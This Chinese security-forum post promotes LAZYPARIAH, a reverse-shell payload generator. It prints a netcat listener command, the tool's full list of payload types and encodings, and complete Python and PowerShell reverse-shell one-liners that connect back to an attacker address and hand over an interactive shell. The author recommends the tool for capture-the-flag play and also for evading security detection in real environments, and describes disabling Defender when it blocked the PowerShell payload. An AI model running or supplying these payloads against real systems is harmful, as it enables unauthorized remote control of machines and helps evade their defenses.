安全矩阵

 找回密码
 立即注册
搜索
查看: 2594|回复: 0

懒人必备之反弹SHELL

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-3-31 15:01:57 | 显示全部楼层 |阅读模式

    ​反弹 SHELL 是什么?其实是建立一个控制目标的简易管道,可以通过这个管道执行系统命令,而建立这个管道有非常多种方式,可以使用多种语言和命令,比如 python、bash、php、ruby 等,然后这些命令又记不住,每次使用都要去搜索或者去看以前的笔记,那么我这么懒,有没有一键生成所需 payload 呢?
    今天分享一个开源项目,可以一键搞定 payload,项目地址:
    https://github.com/octetsplicer/LAZYPARIAH

    主要应用场景是在打 CTF 的时候,方便使用各种反弹 SHELL 的 payload,如果是实际环境,也可以使用这个工具来生成各类反弹 shell payload,用于对抗安全防御系统的检测。
    接下来就测试一下这个小工具是否好用,首先在远程服务器监听一个端口,比如 1234:
    nc -vv -l -p 1234

    服务器地址为 192.168.0.120,使用之前,首先安全必要运行环境:

    1. Ruby >= 2.7.1 (其他版本未经测试)
    2. OpenJDK (可选,生成 java_class payload 时使用)
    3. GCC (可选: 生成 c_binary payload 时使用)
    4. Rust (可选: 生成 rust_binary payloads 时使用)
    复制代码


    然后在 bin 目录下有该脚本的源代码,使用 ruby 编写,大概也能看的懂,可以生成的 payload 类型如下:

    1. C binary payloads (compiled on the fly): c_binary
    2. Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
    3. Powershell payloads: powershell_c, powershell_b64
    4. Base64-encoded Python payloads: python_b64
    5. Rust binary payloads (compiled on the fly): rust_binary
    6. PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
    7. Java classes (compiled on the fly): java_class
    8. Perl payloads: perl, perl_b64, perl_hex, perl_c
    9. Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags
    复制代码

    拿到一个陌生的工具,首先要做的就是查看帮助信息:
    1. Usage:  lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
    2. Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
    3. Example:  lazypariah -u python_b64 10.10.14.4 1555
    4. Example:  lazypariah python_c malicious.local 1337
    5. Valid Payloads:
    6.     awk
    7.     bash_tcp
    8.     c_binary
    9.     java_class
    10.     nc
    11.     nc_openbsd
    12.     nc_pipe
    13.     nodejs
    14.     nodejs_b64
    15.     nodejs_c
    16.     nodejs_hex
    17.     perl
    18.     perl_b64
    19.     perl_c
    20.     perl_hex
    21.     php_fd
    22.     php_fd_c
    23.     php_fd_tags
    24.     php_system_python_b64
    25.     php_system_python_hex
    26.     php_system_python_ipv6_b64
    27.     php_system_python_ipv6_hex
    28.     powershell_b64
    29.     powershell_c
    30.     python
    31.     python_b64
    32.     python_c
    33.     python_hex
    34.     python_ipv6
    35.     python_ipv6_b64
    36.     python_ipv6_c
    37.     python_ipv6_hex
    38.     ruby
    39.     ruby_b64
    40.     ruby_c
    41.     ruby_hex
    42.     rust_binary
    43.     socat
    44. Valid Options:
    45.     -h, --help                       Display help text and exit.
    46.     -l, --license                    Display license information and exit.
    47.     -u, --url                        URL-encode the payload.
    48.     -v, --version                    Display version information and exit.
    49.     -D, --fd INTEGER                 Specify the file descriptor used by the target for TCP. Required for certain payloads.
    50.     -P, --pv INTEGER                 Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.
    51.     -N, --no-new-line                Do not append a new-line character to the end of the payload.
    52.         --b64                        Encode a c_binary, rust_binary or java_class payload in base-64.
    53.         --hex                        Encode a c_binary, rust_binary or java_class payload in hexadecimal.
    54.         --gzip                       Compress a c_binary, rust_binary or java_class payload using zlib.
    55.         --gzip_b64                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.
    56.         --gzip_hex                   Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.
    复制代码


    大概看看,就能知道怎么用了,先生成一个 python_c 版的 payload,直接参数中添加服务端 IP 和 端口:
    ./lazypariah python_c 192.168.0.120 1234
    生成了如下的 payload:
    1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.120",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    复制代码


    试试 payload 能不能用:

    成功获得 shell,再来试试 powershell 的:
    ./lazypariah powershell_c 192.168.0.120 1234
    生成的 payload 为:

    1. powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.0.120',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    复制代码


    在服务器监听好端口后,在客户端执行该命令,服务器成功获得 shell:

    然而在执行该命令时,被 defander 拦截了,关闭杀软再来一次,就可以了,那么如何免杀就是另外一回事儿了。
    除了正常显示 payload 外,还支持各类 payload 的编码处理,比如 base64、hex 等,比如生成 powershell 的 base64 编码的 payload:

    关于这个工具的原理,其实也很简单,只不过是把所有可以使用的 payload 进行了集成,然后方便使用,通过命令来生成你想要的任何 payload,而无需进行复制 payload 然后手工替换 IP 和端口,使用起来更方便。
    如果你懂一点 ruby,那你可以基于这个工具的思路,编写属于你自己的小工具,以任何形式,剩下如何玩就看你自己了,如果觉得对你没啥用,忽略即可。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:40 , Processed in 0.017419 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表